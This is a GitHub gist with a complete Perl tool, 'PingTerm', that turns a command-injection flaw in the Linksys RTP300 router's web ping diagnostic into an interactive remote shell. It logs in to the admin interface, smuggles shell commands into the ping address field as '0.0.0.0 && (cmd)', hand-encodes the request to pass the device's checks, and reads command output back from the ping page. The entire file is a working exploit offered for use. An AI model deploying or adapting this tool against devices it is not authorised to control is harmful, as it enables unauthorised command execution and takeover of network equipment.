Skip to content

Instantly share code, notes, and snippets.

@Elemecca
Last active December 10, 2015 22:09
Show Gist options
  • Save Elemecca/4500435 to your computer and use it in GitHub Desktop.
Save Elemecca/4500435 to your computer and use it in GitHub Desktop.
PingTerm - a remote shell for the Linksys RTP300 based on the ping tool exploit.
#!/usr/bin/env perl
#
# pingterm.pl - command-line interface to the ping hack on the RTP300
#
# Originally written by Sam Hanes <sam@maltera.com>.
# To the extent possible under law, the author has waived all copyright
# and related or neighboring rights in this work, which was originally
# published in the United States. Attribution is appreciated but not
# required. The complete legal text of the release is available at
# http://creativecommons.org/publicdomain/zero/1.0/
use warnings;
use strict;
use LWP::UserAgent ();
use HTTP::Request ();
use HTML::PullParser ();
use URI::Escape qw( uri_escape );
use Term::Readline ();
$global::VERSION = "0.0.6";
our $host;
our $user;
our $pass;
our $agent;
our $term;
our $out;
########################################################################
# Subroutines #
########################################################################
## Wrapper around readline which handles whitespace.
sub prompt ($) {
my ($prompt) = @_;
our $term;
# keep prompting until we get valid input
while (defined( $_ = $term->readline( $prompt ) )) {
# ignore input containing only whitespace
next if (/^\s*$/);
# strip leading and trailing whitespace
s/^\s+|\s+$//g;
return $_;
}
}
## Handles parsing specific to the login page.
# @param HTML::PullParser $parser the HTML parser to read from
# @return the error message, if present, otherwise undef
sub parse_login ($) {
my ($parser) = @_;
# advance to the message cell
while (defined( my $token = $parser->get_token )) {
my ($event, $tag) = @{ $token };
next unless ("start" eq $event);
next unless ("td" eq $tag);
my %attr = %{ $$token[ 2 ] };
last if (($attr{ "id" } || "") eq "uiViewErrorMessage");
}
# find the message itself
my $message = "";
while (defined( my $token = $parser->get_token )) {
my ($event, $value) = @{ $token };
last if ("end" eq $event);
$message .= $value if ("text" eq $event && $value =~ /\S/);
}
if ($message =~ /^Error:\s*(\S.+\S)\s*$/iu) {
return $1;
} else {
return undef;
}
}
## Handles parsing specific to the ping page.
# @param HTML::PullParser $parser the HTML parser to read from
sub parse_ping ($) {
my ($parser) = @_;
# advance to the output textarea
while (defined( my $token = $parser->get_token )) {
my ($event, $tag) = @{ $token };
next unless ("start" eq $event);
next unless ("textarea" eq $tag);
my %attr = %{ $$token[ 2 ] };
last if (($attr{ "id" } || "") eq "show_diagnostics_ping");
}
# extract the textarea's contents
my $output = "";
while (defined( my $token = $parser->get_token )) {
my ($event, $value) = @{ $token };
last if ("end" eq $event);
$output .= $value if ("text" eq $event);
}
# advance to the command input
my $command = "";
while (defined( my $token = $parser->get_token )) {
my ($event, $tag) = @{ $token };
next unless ("start" eq $event);
next unless ("input" eq $tag);
my %attr = %{ $$token[ 2 ] };
if (($attr{ "id" } || "") eq "uiPostPingIPAddress") {
$command = $attr{ "value" } || "";
last;
}
}
return ($command, $output);
}
## Entry point for parsing of all pages.
# The device doesn't use redirects, so the only way to tell which
# page we actually got is to inspect the title. This function is
# responsible for setting up the parser, reading the title, and
# handing off to the appropriate page-specific parsing function.
#
# @param string $content the HTML source to be parsed
sub parse_page ($) {
my ($content) = @_;
our $out;
my $parser = HTML::PullParser->new(
"doc" => $content,
"start" => "event, tagname, attr",
"end" => "event, tagname, undef",
"text" => "event, dtext, undef",
);
# advance to the title element
while (defined( my $token = $parser->get_token )) {
my ($event, $tag) = @{ $token };
next unless ("start" eq $event);
last if ("title" eq $tag);
}
# read the title text
my $token = $parser->get_token;
if (!defined $token || "text" ne $$token[ 0 ]) {
print $out "error: recieved a page without a title\n";
exit 2;
}
my $title = $$token[ 1 ];
if ("Log In Page" eq $title) {
return ("login", parse_login( $parser ));
} elsif ("Ping Test" eq $title) {
return ("ping", parse_ping( $parser ));
} else {
print $out "error: recieved a page with"
. " the unknown title '$title'\n";
exit 2;
}
}
## Authenticates to the device, prompting the user as necessary.
sub login() {
our $user;
our $pass;
our $out;
print $out "authentication is required\n";
do {
$user = prompt( "user? " ) if (!defined $user);
$pass = prompt( "pass? " ) if (!defined $pass);
my $response = $agent->post( "http://$host/cgi-bin/webcm", {
"security:command/logout" => "",
"login:command/username_ja" => $user,
"login:command/password_ja" => $pass,
"getpage" => "/usr/www_safe/html/admin/ping.html",
"errorpage" => "/usr/www_safe/html/admin/ping.html",
});
my @result = parse_page( $response->content );
if ("login" eq $result[ 0 ]) {
my $msg = $result[ 1 ];
print $out "login failed"
. (defined $msg ? ": $msg\n" : "\n");
$user = $pass = undef;
}
} while (!defined $user || !defined $pass);
print $out "authentication successful\n";
}
# @param HTTP::Request $request
sub request ($) {
my ($request) = @_;
our ($agent, $out);
my @result;
do {
my $response = $agent->request( $request );
if (!$response->is_success) {
print $out "server returned error: "
. $response->status_line . "\n"
. "that never happens normally\n"
. "try rebooting the device\n";
exit 3;
}
@result = parse_page( $response->content );
login() if ("login" eq $result[ 0 ]);
} while ("login" eq $result[ 0 ]);
return @result;
}
## Runs a command on the device via the ping hack.
sub run_raw ($) {
my ($cmd) = @_;
$cmd = "0.0.0.0 && ($cmd)";
# unfortunately we have to do our own urlencoding
# we can't change what characters LWP encodes and the device is
# remarkably picky on that front, especially about parentheses
my @postdata = (
"diagnostics:settings/ping_ip" => $cmd,
"diagnostics:settings/ping_size" => "56",
"diagnostics:settings/ping_num" => "1",
"diagnostics:settings/ping_state" => "1",
"getpage" => "/usr/www_safe/html/admin/ping.html",
"errorpage" => "/usr/www_safe/html/admin/ping.html",
);
# URL-encode everything except for alphanumerics and spaces
map { $_ = uri_escape( $_, "^A-Za-z0-9._ " ) } @postdata;
# replace spaces with plus signs
map tr/ /+/, @postdata;
# join the key-value pairs into a query string
my %postdata = @postdata;
my $query = join( '&', (map "$_=$postdata{ $_ }", keys( %postdata )) );
my @result = request( HTTP::Request->new(
"POST", "http://$host/cgi-bin/webcm", [
"Content-Type" => "application/x-www-form-urlencoded"
], $query
));
if ($result[ 1 ] ne $cmd) {
print $out "!! command rejected by device\n";
return undef;
}
my $request = HTTP::Request->new( "GET",
"http://$host/cgi-bin/webcm"
. "?getpage=/usr/www_safe/html/admin/ping.html",
);
for (my $count = 0; $count < 20
&& $result[ 2 ] !~ /\S/; $count++) {
sleep 1;
@result = request( $request );
}
return $result[ 2 ];
}
########################################################################
# Executable Body #
########################################################################
# parse command-line arguments
if ($#ARGV == -1) {
$host = undef;
} elsif ($#ARGV == 0) {
$host = $ARGV[ 0 ];
} else {
print STDERR "usage: pingterm [host]\n";
exit 1;
}
# set up an LWP agent
$agent = LWP::UserAgent->new(
'agent' => "rtp300-pingterm/$global::VERSION ",
'requests_redirectable' => []
);
# set up ReadLine for terminal handling
$term = Term::ReadLine->new( 'RTP300 PingTerm' );
$out = $term->OUT;
# connect to device and run a test command
$host = prompt( "host? " ) if (!defined $host);
print $out "checking whether the ping hack works...\n";
my $check = run_raw( "echo test" );
if (!defined $check || "test\n" ne $check) {
print $out "check failed; device is probably not vulnerable\n";
exit 3;
} else {
print $out "everything looks OK\n";
}
while (defined( my $input = prompt( "$host # " ) )) {
# add the command to the history buffer
$term->addhistory( $input );
# handle special commands
if ($input =~ /^!/) {
my @args = split /\s/, $input;
my $cmd = substr( shift( @args ), 1 );
if ($cmd eq "quit") {
last;
} else {
print $out "!! invalid special command '$cmd'\n";
}
}
# handle remote commands
else {
my $output = run_raw( $input );
if (defined $output) {
chomp $output;
print "$output\n";
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment